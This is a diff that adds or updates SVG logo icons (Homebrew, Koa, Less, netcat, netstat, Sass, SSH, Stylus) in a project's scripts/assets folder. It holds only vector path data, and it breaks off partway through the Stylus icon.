+<path stroke="currentColor" stroke-linecap="round" stroke-linejoin="round" stroke-width="4.393" d="M17.5714286,39.6125893 C17.5714286,46.8484564 23.4372579,52.7142857 30.673125,52.7142857 L35.0308393,52.7142857 M61.6208036,52.7142857 L74.6785714,52.7142857"/>
+<path fill="currentColor" fill-rule="nonzero" d="M43.9285714,85.660714 C44.7136722,85.6611066 45.4389259,86.0803154 45.8311365,86.7604287 C46.223347,87.4405421 46.2229284,88.2782346 45.8300382,88.9579556 C45.4371481,89.6376766 44.7114757,90.0561603 43.926375,90.0557681 C42.7127145,90.0551613 41.72934,89.0708033 41.7299463,87.8571429 C41.7305531,86.6434824 42.7149109,85.6601078 43.9285714,85.660714 M52.7142857,85.660714 C53.4993864,85.6611066 54.2246401,86.0803154 54.6168507,86.7604287 C55.0090613,87.4405421 55.0086427,88.2782346 54.6157525,88.9579556 C54.2228624,89.6376766 53.49719,90.0561603 52.7120893,90.0557681 C51.4984288,90.0551613 50.5150543,89.0708033 50.5156606,87.8571429 C50.5162674,86.6434824 51.5006252,85.6601078 52.7142857,85.660714"/>
+<line x1="72.493" x2="70.268" y1="87.873" y2="87.945" stroke="currentColor" stroke-linecap="round" stroke-width="4.393"/>
+</g>
+</svg>

scripts/assets/homebrew.svg

@@ -0,0 +1,3 @@
+<svg viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg" fill="currentColor" height="1em" width="1em">
+  <path d="M7.938 0a.214.214 0 0 0-.206.156c-.316 1.104.179 2.15.838 2.935.153.181.313.347.476.501a2.039 2.039 0 0 0-.665.02c-1.184.233-2.193.985-2.74 2.532a3.893 3.893 0 0 0-.2 1.466 1.565 1.565 0 0 0-1.156 1.504 1.59 1.59 0 0 0 1.227 1.541l.026 12.046c0 .195.1.377.264.482a.214.214 0 0 0 .008.005c.537.31 2.047.812 5.21.812 3.238 0 4.7-.678 5.181-1.04a.214.214 0 0 0 .008-.007.571.571 0 0 0 .206-.439c.002-.344.002-1.136.002-1.604a.143.143 0 0 1 .147-.144c.397.006.869.006 1.318.005a1.826 1.826 0 0 0 1.832-1.825v-5.804a1.826 1.826 0 0 0-1.825-1.826H16.56a.14.14 0 0 1-.143-.144V10.6h.007v-.001a1.573 1.573 0 0 0 1.356-1.556c0-.816-.627-1.489-1.424-1.563-.025-1.438-.437-2.126-.736-2.58a.214.214 0 0 0-.005-.007c-.364-.51-1.193-1.282-2.275-1.316-.503-.016-.842.124-1.125.254-.217.1-.42.177-.67.22.002-1.286.945-1.981.945-1.981a.214.214 0 0 0 .05-.298s-.087-.122-.21-.26c-.121-.136-.269-.294-.47-.378a.214.214 0 0 0-.079-.017.214.214 0 0 0-.145.055 4.308 4.308 0 0 0-.875 1.101 3.42 3.42 0 0 0-.133.273 3.497 3.497 0 0 0-.381-.846C9.794.978 9.063.436 8.017.016A.214.214 0 0 0 7.939 0zm.156.524c.85.378 1.43.83 1.79 1.403.274.438.426.962.484 1.584a3.07 3.07 0 0 0-.012.462 6.897 6.897 0 0 1-.168-.052 5.487 5.487 0 0 1-1.29-1.106c-.551-.657-.935-1.46-.804-2.291zM11.8 1.618c.07.054.141.101.212.18.034.039.032.04.058.073-.332.308-1.07 1.144-.952 2.453a.214.214 0 0 0 .222.195c.469-.017.782-.172 1.056-.299.273-.126.508-.228.931-.214.875.027 1.639.715 1.939 1.134.295.449.65 1 .663 2.36a1.66 1.66 0 0 0-.41.142 1.938 1.938 0 0 0-1.77-1.16 1.94 1.94 0 0 0-1.87 1.448 1.783 1.783 0 0 0-1.356-.64c-.484 0-.91.205-1.233.517a1.873 1.873 0 0 0-1.85-1.625c-.649 0-1.218.335-1.552.84a3.1 3.1 0 0 1 .157-.735c.51-1.437 1.355-2.045 2.42-2.254.367-.073.664-.011.99.095.325.106.671.262 1.094.342a.214.214 0 0 0 .252-.245c-.112-.67.073-1.266.336-1.744a3.71 3.71 0 0 1 .663-.863zM7.44 6.611a1.442 1.442 0 0 1 1.363 1.925.214.214 0 0 0 .168.283h.005a.214.214 0 0 0 .238-.146 1.373 1.373 0 0 1 2.613-.01.214.214 0 0 0 .417-.09 1.509 1.509 0 0 1 1.504-1.664c.678 0 1.249.445 1.442 1.056a.214.214 0 0 0 .259.143l.15-.04a.214.214 0 0 0 .051-.02 1.139 1.139 0 0 1 1.702.995 1.14 1.14 0 0 1-.985 1.131.214.214 0 0 0-.001 0 2.215 2.215 0 0 0-.485.126 10.65 10.65 0 0 1-1.176.365.214.214 0 0 0-.162.186 1.276 1.276 0 0 1-.146.478 2.07 2.07 0 0 0-.239 1.111l.001.151a.438.438 0 0 1-.16.36.665.665 0 0 1-.43.14.586.586 0 0 1-.588-.59.803.803 0 0 0-.38-.681.214.214 0 0 0-.002-.002c-.24-.145-.43-.37-.532-.636a.214.214 0 0 0-.207-.138 19.469 19.469 0 0 1-5.37-.6l-.003-.002a9.007 9.007 0 0 0-.838-.194h.003a1.16 1.16 0 0 1-.937-1.134c0-.619.488-1.118 1.101-1.14a.214.214 0 0 0 .204-.176 1.443 1.443 0 0 1 1.42-1.187zm8.549 4.106v.455c0 .314.259.573.572.573h1.329a1.397 1.397 0 0 1 1.397 1.397v5.804a1.396 1.396 0 0 1-1.402 1.396.214.214 0 0 0-.002 0c-.448.002-.918 0-1.31-.005a.573.573 0 0 0-.584.573c0 .468 0 1.262-.002 1.603a.214.214 0 0 0 0 .001c0 .042-.019.08-.05.107-.346.26-1.75.95-4.915.95-3.107 0-4.587-.52-4.99-.752a.143.143 0 0 1-.065-.118l-.025-11.955c.145.033.288.07.431.11a.214.214 0 0 0 .003 0c.115.031.246.064.383.097v10.37c0 .129.069.247.18.31.453.217 1.767.732 4.071.732 2.32 0 3.595-.626 4.022-.884a.357.357 0 0 0 .164-.3l.001-10.21c.267-.075.531-.158.792-.254zm-7.99.894a.493.493 0 0 1 .494.493v8.578a.493.493 0 0 1-.493.493.493.493 0 0 1-.494-.493v-8.578A.493.493 0 0 1 8 11.611zm8.652 1.14a.663.663 0 0 0-.662.662v5.208a.663.663 0 0 0 .662.662h1.14a.663.663 0 0 0 .662-.662v-5.209a.663.663 0 0 0-.662-.662zm0 .428h1.14a.233.233 0 0 1 .233.233v5.21a.233.233 0 0 1-.233.232h-1.14a.233.233 0 0 1-.233-.233v-5.209a.233.233 0 0 1 .233-.233z"/>
+</svg>

scripts/assets/koajs.svg

@@ -0,0 +1 @@
+<svg xmlns="http://www.w3.org/2000/svg" fill="currentColor" width="1em" height="1em" viewBox="0 0 230 230"><path d="M176.09375,0 C205.86535,-5.46895416e-15 230,24.1346502 230,53.90625 L230,176.09375 C230,205.86535 205.86535,230 176.09375,230 L53.90625,230 C24.1346502,230 3.64596944e-15,205.86535 0,176.09375 L0,53.90625 C-3.64596944e-15,24.1346502 24.1346502,5.46895416e-15 53.90625,0 L176.09375,0 Z M46.6655391,74 L39,74 L39,156 L46.6655391,156 L46.6655391,129.650518 L49.6224434,126.261287 L69.8814961,156 L77.547334,156 L54.002666,121.450727 L71.8528652,101.333433 L70.7576602,101.333433 L46.6655391,128.447878 L46.6655391,74 Z M166.63517,101.605824 C155.279402,101.605824 148.80559,105.323536 147.426199,105.960807 L147.850535,106.70429 C150.50383,105.217325 158.675584,102.455817 165.255779,102.455817 C175.471142,102.455817 176.406034,109.037681 176.428332,111.278315 L176.428388,111.441925 C176.424978,111.802842 176.39908,112.014881 176.39908,112.014881 L176.39908,129.646341 C175.125475,129.54013 169.7131,129.327706 164.937229,129.752553 C146.046211,131.027095 143.499299,136.337984 144.560438,143.454176 C145.19724,147.702947 147.319816,155.562622 159.737021,155.562622 C170.24352,155.562622 174.276504,149.933396 176.39908,146.10977 L176.39908,147.596736 C176.39908,147.596736 176.396486,147.62746 176.394995,147.684985 L176.394581,147.834611 C176.41733,149.115868 177.139684,155.137775 188.709902,155.137775 L192,155.137476 L192,154.287782 L188.70601,154.287921 C188.703429,154.288003 188.699579,154.288109 188.694503,154.288209 L188.616885,154.288028 C187.942429,154.274794 183.828246,153.934323 183.828246,147.596437 L183.828246,112.015179 C183.828246,108.403679 182.023922,101.605824 166.63517,101.605824 Z M111.11141,101.498121 C96.1873359,101.498121 84.7236914,111.37582 84.7236914,129.113791 C84.7236914,148.44464 96.5115645,155.45462 110.246303,155.45462 C125.170377,155.45462 136.634021,145.576921 136.634021,127.839249 C136.634021,108.508101 124.846148,101.498121 111.11141,101.498121 Z M164.943803,130.353127 C170.178674,129.705713 175.099477,130.137422 176.356049,130.245125 L176.356049,143.304406 C176.041682,147.621499 169.550537,154.852853 161.593939,154.852853 C154.26518,154.852853 152.694838,148.700921 152.275881,143.412408 C151.647744,135.533639 153.846521,131.648255 164.943803,130.353127 Z M111.117088,102.20789 C121.305932,102.20789 129.523107,109.148952 129.523107,127.835669 C129.523107,144.920854 120.97752,154.744851 110.240625,154.744851 C100.051482,154.744851 91.8346055,147.804087 91.8346055,129.117072 C91.8346055,112.031887 100.380193,102.20789 111.117088,102.20789 Z"/></svg>

scripts/assets/lessjs.svg

@@ -0,0 +1,2 @@
+<svg xmlns="http://www.w3.org/2000/svg" fill="currentColor" height="1em" width="1em" viewBox="0 0 210 90">
+<path d="M201.009375,32.7796875 C201.009375,26.053125 202.059375,22.0828125 202.059375,14.8640625 C202.059375,3.6421875 197.925,0.0328125 188.770313,0.0328125 L182.04375,0.0328125 L182.04375,7.9734375 L184.110938,7.9734375 C188.770313,7.9734375 189.7875,9.515625 189.7875,15.225 C189.7875,20.5734375 189.2625,25.921875 189.2625,32.1234375 C189.2625,40.0640625 191.854687,43.1484375 197.00625,44.3625 L197.00625,44.8875 C191.821875,46.1015625 189.2625,49.1859375 189.2625,57.1265625 C189.2625,63.328125 189.7875,68.3484375 189.7875,74.025 C189.7875,79.8984375 188.573437,81.440625 184.110938,81.440625 L184.110938,81.6046875 L182.04375,81.6046875 L182.04375,89.8734375 L188.770313,89.8734375 C197.892188,89.8734375 202.059375,86.2640625 202.059375,75.0421875 C202.059375,67.6265625 201.009375,63.8203125 201.009375,57.1265625 C201.009375,53.5171875 203.240625,49.7109375 209.967187,49.3828125 L209.967187,40.425 C203.240625,40.1953125 201.009375,36.3890625 201.009375,32.7796875 Z M166.359375,43.2796875 C161.175,41.2125 156.351562,39.9984375 156.351562,36.553125 C156.351562,33.9609375 158.41875,32.41875 162.225,32.41875 C166.03125,32.41875 169.476562,33.9609375 173.25,36.7171875 L180.140625,27.5953125 C175.842187,24.3140625 169.96875,20.86875 162.028125,20.86875 C150.314063,20.86875 142.373438,27.5953125 142.373438,37.078125 C142.373438,45.5109375 149.789063,49.8421875 155.990625,52.2375 C161.339063,54.3046875 166.523438,56.04375 166.523438,59.4890625 C166.523438,62.08125 164.45625,63.7875 159.796875,63.7875 C155.498438,63.7875 151.167188,62.0484375 146.507813,58.4390625 L139.617188,68.446875 C144.801563,72.7453125 152.709375,75.6984375 159.271875,75.6984375 C173.053125,75.6984375 180.46875,68.446875 180.46875,58.9640625 C180.46875,49.48125 173.085938,45.5109375 166.359375,43.2796875 L166.359375,43.2796875 Z M48.5953125,62.7703125 C47.38125,62.7703125 45.8390625,61.7203125 45.8390625,58.471875 L45.8390625,7.10542736e-15 L21.3609375,7.10542736e-15 C12.0421875,7.10542736e-15 7.9078125,3.609375 7.9078125,14.83125 C7.9078125,22.246875 8.9578125,26.38125 8.9578125,32.746875 C8.9578125,36.35625 6.7265625,40.1625 -6.99440506e-15,40.490625 L-6.99440506e-15,49.4484375 C6.7265625,49.6125 8.9578125,53.41875 8.9578125,57.028125 C8.9578125,63.39375 7.9078125,67.2 7.9078125,74.615625 C7.9078125,85.8375 12.0421875,89.446875 21.196875,89.446875 L27.9234375,89.446875 L27.9234375,81.50625 L25.85625,81.50625 C21.5578125,81.50625 20.1796875,79.7671875 20.1796875,74.090625 C20.1796875,68.4140625 20.7046875,63.5578125 20.7046875,57.1921875 C20.7046875,49.2515625 18.1125,46.1671875 12.9609375,44.953125 L12.9609375,44.428125 C18.1453125,43.2140625 20.7046875,40.1296875 20.7046875,32.1890625 C20.7046875,25.9875 20.1796875,20.9671875 20.1796875,15.290625 C20.1796875,9.6140625 21.39375,8.0390625 25.85625,8.0390625 L30.4828125,8.0390625 L30.4828125,57.5203125 C30.4828125,68.053125 34.0921875,74.94375 44.625,74.94375 C47.90625,74.94375 50.4984375,74.41875 52.36875,73.7296875 L50.6296875,62.5078125 C49.6125,62.7703125 49.1203125,62.7703125 48.5953125,62.7703125 Z M124.621875,43.2796875 C119.273437,41.2125 114.45,39.9984375 114.45,36.553125 C114.45,33.9609375 116.517187,32.41875 120.323437,32.41875 C124.129687,32.41875 127.575,33.9609375 131.348437,36.7171875 L138.239062,27.5953125 C133.940625,24.3140625 128.067187,20.86875 120.126562,20.86875 C108.4125,20.86875 100.471875,27.5953125 100.471875,37.078125 C100.471875,45.5109375 107.8875,49.8421875 114.089062,52.2375 C119.4375,54.3046875 124.621875,56.04375 124.621875,59.4890625 C124.621875,62.08125 122.554687,63.7875 117.895312,63.7875 C113.596875,63.7875 109.265625,62.0484375 104.60625,58.4390625 L97.8796875,68.446875 C103.064062,72.7453125 110.971875,75.6984375 117.534375,75.6984375 C131.315625,75.6984375 138.731358,68.446875 138.731358,58.9640625 C138.764062,49.48125 131.348437,45.5109375 124.621875,43.2796875 Z M73.7625,20.7046875 C61.1625,20.7046875 49.1203125,31.2375 49.4484375,47.775 C49.4484375,64.8375 60.6703125,74.8453125 75.46875,74.8453125 C81.6703125,74.8453125 88.5609375,72.6140625 93.909375,68.971875 L88.725,59.85 C84.91875,62.08125 81.309375,63.13125 77.503125,63.13125 C70.6125,63.13125 65.2640625,59.85 63.8859375,51.909375 L95.1234375,51.909375 C95.2875,50.6953125 95.6484375,48.3 95.6484375,45.54375 C95.8453125,31.565625 88.2328125,20.7046875 73.7625,20.7046875 L73.7625,20.7046875 Z M63.91875,42.4265625 C64.96875,35.5359375 69.103125,32.2546875 73.9265625,32.2546875 C80.128125,32.2546875 82.55625,36.553125 82.55625,42.4265625 L63.91875,42.4265625 L63.91875,42.4265625 Z" transform="translate(.033 .08)"/></svg>

scripts/assets/netcat.svg

@@ -0,0 +1,3 @@
+<svg xmlns="http://www.w3.org/2000/svg" height="1em" width="1em" viewBox="0 0 30 27">
+<path fill="currentColor" fill-rule="evenodd" d="M24.1575957,7.91399838 C19.6909292,2.9579985 10.7162627,2.9579985 6.2509295,7.91399838 C4.72692954,9.60599833 4.04826289,11.7206649 4.28826288,14.0313316 C4.61226288,17.1499981 5.87759618,19.8033314 7.83359613,21.6193314 C7.8642628,21.0966647 7.86159613,20.4646647 7.78559613,19.6833314 L7.46692947,16.4099982 L10.3602627,17.9726648 C13.4069293,19.6179981 17.0002626,19.6179981 20.0455958,17.9726648 L22.9389291,16.4099982 L22.6215958,19.6833314 C22.5442624,20.4646647 22.5429291,21.0966647 22.5735958,21.6193314 C24.5295957,19.8033314 25.794929,17.1499981 26.118929,14.0313316 C26.358929,11.7206649 25.682929,9.60599833 24.1575957,7.91399838 M29.6015956,14.3926649 C29.0642623,19.5833314 26.430929,23.8366646 22.3789291,26.0646646 L21.1455958,26.7433312 L20.2189292,25.6833313 C20.1015958,25.5486646 19.2989292,24.5486646 19.0975958,22.153998 C16.7162626,22.8913313 13.6909293,22.8913313 11.3109294,22.153998 C11.109596,24.5486646 10.3069294,25.5486646 10.1895961,25.6833313 L9.26159609,26.7433312 L8.02826279,26.0646646 C3.97626289,23.837998 1.34426296,19.5833314 0.805596305,14.3926649 C0.46426298,11.1153316 1.47492962,7.98333171 3.64959623,5.56999844 C9.51359609,-0.934001402 20.8949291,-0.934001402 26.7575957,5.56999844 C28.9335956,7.98333171 29.9429289,11.1153316 29.6015956,14.3926649" transform="matrix(1 0 0 -1 0 27.435)"/>
+</svg>

scripts/assets/netstat.svg

@@ -0,0 +1,7 @@
+<svg viewBox="0 0 36 36" xmlns="http://www.w3.org/2000/svg" fill="currentColor" height="1em" width="1em">
+  <path d="M26.58 32h-18a1 1 0 1 0 0 2h18a1 1 0 0 0 0-2Z"/>
+  <path d="M31.73 15.4h-6.17a18.87 18.87 0 0 1-1.62 2.52 2.33 2.33 0 0 1 .33 1.19 22 22 0 0 0 5 .45 11.88 11.88 0 0 1-.61 1.53h-.56a17.41 17.41 0 0 1-4.32-.56 2.29 2.29 0 0 1-3 .62 18.43 18.43 0 0 1-7 3.5 2.34 2.34 0 0 1-1.57 1.79l-.29.06a11.93 11.93 0 0 1-3.39-2.8h.66a2.33 2.33 0 0 1 4.37-.58A16.94 16.94 0 0 0 19.78 20a2.32 2.32 0 0 1-.18-1.17c-.42-.24-.84-.49-1.25-.76a17.53 17.53 0 0 1-5.35-5.6 2.31 2.31 0 0 1-2.28-.63 27.31 27.31 0 0 0-5 4.74v-.57a12 12 0 0 1 .14-1.73 18.75 18.75 0 0 1 4.2-3.8 2.28 2.28 0 0 1 1.1-2.25c-.12-.43-.24-.86-.33-1.3 0-.14 0-.29-.11-.64a12 12 0 0 1 1.37-.87c.1.59.14.9.21 1.21s.2.85.32 1.27h.25a2.33 2.33 0 0 1 1.13.63 18.59 18.59 0 0 1 6.39-1L23 3A14 14 0 0 0 3.75 16c0 .45 0 .89.07 1.33A14 14 0 0 0 31.76 16c0-.2-.02-.4-.03-.6Z" />
+  <path d="M14.26 11.64a16 16 0 0 0 4.93 5.23c.34.23.69.43 1 .63a2.28 2.28 0 0 1 2.58-.57 17.29 17.29 0 0 0 1-1.54h-1.6A3.68 3.68 0 0 1 19 9.89l.56-.89a17.08 17.08 0 0 0-4.84.88 2.25 2.25 0 0 1-.47 1.77Z" />
+  <path d="M26.85 1.14 21.13 11a1.28 1.28 0 0 0 1.1 2h11.45a1.28 1.28 0 0 0 1.1-2l-5.72-9.86a1.28 1.28 0 0 0-2.21 0Z"/>
+  <path fill="none" d="M0 0h36v36H0z"/>
+</svg>

scripts/assets/sass.svg

@@ -0,0 +1,3 @@
+<svg xmlns="http://www.w3.org/2000/svg" fill="currentColor" viewBox="0 0 64 64" height="1em" width="1em">
+  <path d="M55.094 35.56a13.19 13.19 0 0 0-5.8 1.35c-.6-1.188-1.2-2.225-1.3-3-.113-.9-.25-1.45-.113-2.525s.763-2.6.763-2.725c-.012-.113-.138-.663-1.425-.675s-2.4.25-2.525.588a14.36 14.36 0 0 0-.538 1.913c-.225 1.175-2.575 5.338-3.913 7.526-.438-.85-.813-1.6-.888-2.2-.113-.9-.25-1.45-.113-2.525s.763-2.6.763-2.725c-.012-.113-.138-.663-1.425-.675s-2.4.25-2.525.588-.263 1.138-.538 1.913c-.263.775-3.388 7.726-4.2 9.538-.413.925-.775 1.663-1.038 2.163s-.012.038-.037.088l-.35.663v.012c-.175.313-.363.613-.45.613-.062 0-.188-.838.025-1.988.463-2.413 1.588-6.176 1.575-6.313 0-.062.213-.725-.725-1.063-.913-.338-1.238.225-1.313.225s-.138.2-.138.2 1.013-4.238-1.938-4.238c-1.85 0-4.4 2.013-5.663 3.85l-6.376 3.488-.138-.15C11.178 35.66 4.565 32.96 4.84 27.835c.1-1.863.75-6.776 12.7-12.726 9.788-4.875 17.627-3.538 18.99-.563 1.938 4.25-4.188 12.15-14.364 13.29-3.875.438-5.913-1.063-6.426-1.625-.538-.588-.613-.613-.813-.5-.325.175-.125.7 0 1.013.3.788 1.55 2.188 3.675 2.888 1.863.613 6.413.95 11.914-1.175 6.163-2.388 10.976-9.013 9.563-14.55-1.438-5.638-10.788-7.488-19.627-4.35C15.19 11.41 9.5 14.334 5.4 18.172.515 22.722-.26 26.698.064 28.348c1.138 5.888 9.25 9.726 12.5 12.564l-.45.25c-1.625.8-7.813 4.038-9.363 7.463-1.75 3.875.275 6.663 1.625 7.038 4.175 1.163 8.45-.925 10.763-4.363 2.3-3.438 2.025-7.9.963-9.938l-.038-.075 1.275-.75a74.573 74.573 0 0 1 2.35-1.325c-.4 1.088-.688 2.375-.838 4.25-.175 2.2.725 5.05 1.913 6.176.525.488 1.15.5 1.538.5 1.375 0 2-1.138 2.688-2.5.85-1.663 1.6-3.588 1.6-3.588s-.938 5.213 1.625 5.213c.938 0 1.875-1.213 2.3-1.838v.012s.025-.038.075-.125c.1-.15.15-.238.15-.238v-.025c.375-.65 1.213-2.138 2.463-4.6 1.613-3.175 3.163-7.15 3.163-7.15s.15.975.613 2.575c.275.95.875 1.988 1.338 3l-.6.825.012.013a35.62 35.62 0 0 1-.988 1.25c-1.275 1.525-2.8 3.263-3 3.763-.238.588-.188 1.025.275 1.375.338.25.938.3 1.575.25 1.15-.075 1.95-.363 2.35-.538a8.14 8.14 0 0 0 2.025-1.063c1.25-.925 2.013-2.238 1.938-3.988-.038-.963-.35-1.913-.738-2.813l.338-.5c1.975-2.888 3.5-6.063 3.5-6.063s.15.975.613 2.575c.238.813.713 1.7 1.138 2.575-1.85 1.513-3.013 3.263-3.413 4.413-.738 2.125-.163 3.088.925 3.313.488.1 1.188-.125 1.713-.35a7.76 7.76 0 0 0 2.163-1.113c1.25-.925 2.45-2.213 2.388-3.95-.038-.8-.25-1.588-.538-2.338 1.575-.65 3.613-1.025 6.2-.713 5.563.65 6.663 4.125 6.45 5.575s-1.375 2.25-1.763 2.5c-.388.238-.513.325-.475.5.05.263.225.25.563.2.463-.075 2.925-1.188 3.025-3.863.15-3.438-3.113-7.188-8.9-7.15zM12.19 50.025c-1.838 2.013-4.425 2.775-5.525 2.125-1.188-.688-.725-3.65 1.538-5.788 1.375-1.3 3.163-2.5 4.338-3.238l1.138-.688c.075-.05.125-.075.125-.075.088-.05.188-.113.288-.175.838 3.05.038 5.725-1.9 7.838zm13.44-9.138c-.638 1.563-1.988 5.575-2.8 5.35-.7-.188-1.125-3.225-.138-6.226.5-1.513 1.563-3.313 2.188-4.013 1.013-1.125 2.113-1.5 2.388-1.038.325.6-1.238 4.95-1.638 5.926zm11.088 5.3c-.275.138-.525.238-.638.163-.088-.05.113-.238.113-.238s1.388-1.488 1.938-2.175l1.088-1.388v.15c0 1.8-1.725 3-2.5 3.488zm8.55-1.95c-.2-.15-.175-.613.5-2.063.263-.575.863-1.538 1.9-2.45.125.375.2.738.188 1.075-.013 2.25-1.613 3.088-2.588 3.438z" />
+</svg>

scripts/assets/ssh.svg

@@ -1,3 +1,3 @@
-<svg xmlns="http://www.w3.org/2000/svg" fill="currentColor" height="1em" width="1em">
-  <path d="M4.5 9c-.6 0-1 .5-1 1v1.75c0 .5.4 1 1 1H7v.75H3.5V15h4c.6 0 1-.5 1-1v-1.75c0-.5-.4-1-1-1H5v-.75h3.5V9h-4m6 0c-.6 0-1 .5-1 1v1.75c0 .5.4 1 1 1H13v.75H9.5V15h4c.6 0 1-.5 1-1v-1.75c0-.5-.4-1-1-1H11v-.75h3.5V9h-4m5 0v6H17v-2.5h2V15h1.5V9H19v2h-2V9h-1.5Z"/>
-</svg>
+<svg xmlns="http://www.w3.org/2000/svg" height="1em" width="1em" viewBox="0 0 1024 1024">
+<path fill="currentColor" d="M924.999924,0 C979.676115,-1.00438532e-14 1023.99992,44.3238098 1023.99992,99 L1023.99992,924.999924 C1023.99992,979.676115 979.676115,1023.99992 924.999924,1023.99992 L99,1023.99992 C44.3238098,1023.99992 2.09067569e-14,979.676115 0,924.999924 L0,99 C-6.69590214e-15,44.3238098 44.3238098,2.42547079e-14 99,0 L924.999924,0 Z M297.983357,621.999996 C235.914893,621.999996 189.713556,661.247852 189.713556,713.578343 C189.713556,761.703699 223.78121,786.93446 254.5821,800.017085 L296.583318,818.239305 C325.050813,830.387461 340.451258,836.928764 340.451258,857.95441 C340.451258,877.578338 325.984169,891.595432 292.849882,891.595432 C266.715783,891.595432 238.714972,878.045577 217.714368,858.421639 C214.914289,856.085462 211.180843,856.552701 209.314121,858.888879 L177.579873,895.800557 C175.713151,897.669505 175.246467,901.407401 177.579873,903.743578 C207.447408,933.179475 249.448625,949.999996 291.916516,949.999996 C362.851901,949.999996 407.653208,907.014234 407.653208,853.749275 C407.653208,806.558398 379.185713,781.327626 342.317981,765.441584 L300.783436,748.153834 C274.649348,737.407396 255.98214,729.931614 255.98214,710.774926 C255.98214,692.552697 270.449229,680.87179 297.983357,680.87179 C322.717407,680.87179 341.384614,689.74928 360.518505,705.635322 C363.318584,707.971499 367.05203,707.03703 368.918753,704.700843 L396.452881,670.125352 C398.319604,668.256404 398.319604,664.518508 395.986198,662.182331 C371.252149,637.418799 334.85109,621.999996 297.983357,621.999996 Z M544.855967,621.999996 C482.787502,621.999996 436.586166,661.247852 436.586166,713.578343 C436.586166,761.703699 470.653819,786.93446 501.45471,800.017085 L543.455927,818.239305 C571.923422,830.387461 587.323867,836.928764 587.323867,857.95441 C587.323867,877.578338 572.856778,891.595432 539.722491,891.595432 C513.588403,891.595432 485.587591,878.045577 464.586977,858.421639 C461.786898,856.085462 458.053453,856.552701 456.18673,858.888879 L424.452483,895.800557 C422.58576,897.669505 422.119077,901.407401 424.452483,903.743578 C454.320017,933.179475 496.321234,949.999996 538.789125,949.999996 C609.72452,949.999996 654.525817,907.014234 654.525817,853.749275 C654.525817,806.558398 626.058322,781.327626 589.19059,765.441584 L547.656056,748.153834 C521.521957,737.407396 502.854749,729.931614 502.854749,710.774926 C502.854749,692.552697 517.321838,680.87179 544.855967,680.87179 C569.590016,680.87179 588.257224,689.74928 607.391114,705.635322 C610.191194,707.971499 613.924639,707.03703 615.791362,704.700843 L643.32549,670.125352 C645.192213,668.256404 645.192213,664.518508 642.858807,662.182331 C618.124758,637.418799 581.723709,621.999996 544.855967,621.999996 Z M758.127976,627.60683 L703.993075,627.60683 C701.659669,627.60683 697.926234,629.475778 697.926234,633.213664 L697.926234,938.786319 C697.926234,941.122496 700.25963,944.393152 703.993075,944.393152 L758.127976,944.393152 C760.461382,944.393152 763.728134,942.524204 763.728134,938.786319 L763.728134,808.894575 L876.198064,808.894575 L876.198064,938.786319 C876.198064,941.122496 878.064787,944.393152 881.798222,944.393152 L935.933123,944.393152 C938.266529,944.393152 941.999974,942.524204 941.999974,938.786319 L941.999974,633.213664 C941.999974,630.877486 939.666568,627.60683 935.933123,627.60683 L881.798222,627.60683 C879.464826,627.60683 876.198064,629.475778 876.198064,633.213664 L876.198064,750.022782 L763.728134,750.022782 L763.728134,633.213664 C763.728134,630.877486 761.861421,627.60683 758.127976,627.60683 Z"/>
+</svg>

scripts/assets/stylus.svg

@@ -0,0 +1,3 @@
+<svg xmlns="http://www.w3.org/2000/svg" fill="currentColor" height="1em" width="1em" viewBox="0 0 64 64">
+  <path d="M9.864 42.916c1.66-1.986 1.855-4.036.57-7.844-.814-2.4-2.165-4.264-1.172-5.76 1.058-1.595 3.304-.05 1.432 2.083l.374.26c2.246.26 3.353-2.816 1.676-3.694-4.427-2.3-8.3 2.132-6.6 7.275.732 2.18 1.758 4.492.928 6.33-.716 1.58-2.1 2.506-3.027 2.54-1.937.098-.65-4.345 1.58-5.452.195-.098.472-.228.212-.553-2.75-.3-4.362.96-5.3 2.734-2.702 5.16 5.126 7.063 9.3 2.083zM58.2 27.748c.635 1.562 1.595 3.108 1.025 4.476-.472 1.172-1.1 1.66-1.774 1.774-.96.163-.7-2.848.944-3.743.146-.08.358-.472.163-.7-2.083-.114-3.255.88-3.9 2.197-1.84 3.857 4.166 4.915 7.112 1.123 1.172-1.514 1.22-3 .098-5.73-.716-1.725-1.806-3-1.123-4.15.732-1.204 2.5-.163 1.172 1.448l.293.163c1.7.098 2.4-2.18 1.107-2.75-3.434-1.465-6.64 2.23-5.126 5.9zM36.456 23.63c-1.188-.944-4.524.635-5.468 2.978-1.188 2.978-2.946 7.324-4.67 9.228-1.823 2.002-2.002.456-1.823-.7.423-2.718 3.076-9.016 4.524-10.8-.537-.797-4.052-.684-6.494 3.108-.9 1.432-2.995 6.2-5.306 9.96-.505.814-1.14.244-.65-1.66.553-2.197 2.18-8.235 4.28-12.987 5.5-1.1 11.343-1.855 15.82-1.872.602-.163 1-.7 0-.732-3.857-.13-9.65.325-15.07 1 1.04-2.063 2.163-3.733 3.3-4.433-1.237-.78-3.743-.472-5.175 1.644-.635.944-1.27 2.083-1.872 3.32-3.97.618-7.372 1.318-9.098 1.97-1.8.684-1.595 2.848-.505 2.44 2.262-.846 5.322-1.725 8.723-2.506-2.165 4.882-3.857 10.644-4.264 12.987-1 5.696 2.523 5.664 4.248 3.418 1.872-2.457 5.777-11.1 6.38-12 .18-.3.423-.146.293.13-4.362 8.707-3.987 12.076-.456 11.327 1.595-.342 4.345-3.076 5.06-4.492.146-.342.456-.3.4-.163-2.767 7.177-6.282 12.987-8.642 14.8-2.148 1.644-3.743-1.92 3.857-7.03 1.123-.765.602-1.806-.667-1.448-3.922.618-15.152 4.183-20.083 7.6-.374.26-.716.472-.7 1 .016.3.553.195.814.033 6.38-3.825 11.604-5.322 17.593-6.575.08.033.18.05.26.016.277-.065.26.08.08.195-.407.228-.814.44-.9.472-4.036 1.58-6.477 5.06-5.615 6.835.732 1.53 4.687.976 6.56-.033 4.6-2.5 7.926-7.372 10.204-14.1 1.986-5.973 4.492-12.743 5.078-12.938zM63.13 37.415c-7.47-.976-23.582.325-30.694 2.213-2.116.553-1.53 1.676-.456 1.465.016 0 .472-.114.488-.114 5.843-1.14 20.018-2.132 28.285-.553.993.18 3.97-2.8 2.376-3zm-24.6-.88c2.083-1.042 5.175-7.486 7.2-11.018.146-.26.407-.05.26.13-5.143 8.853-2.962 9.88-.928 9.748 2.718-.163 5.224-4.07 5.777-4.947.228-.342.358-.065.228.18-.13.407-.602 1.123-1.042 2.1-.618 1.383.033 1.92.57 2.165.846.407 3.157.146 3.515-1.27-2.3-.05 3.222-10.953 3.792-11.62-1.546-.895-3.938.08-5.03 2.23-2.327 4.606-4.28 8.316-5.5 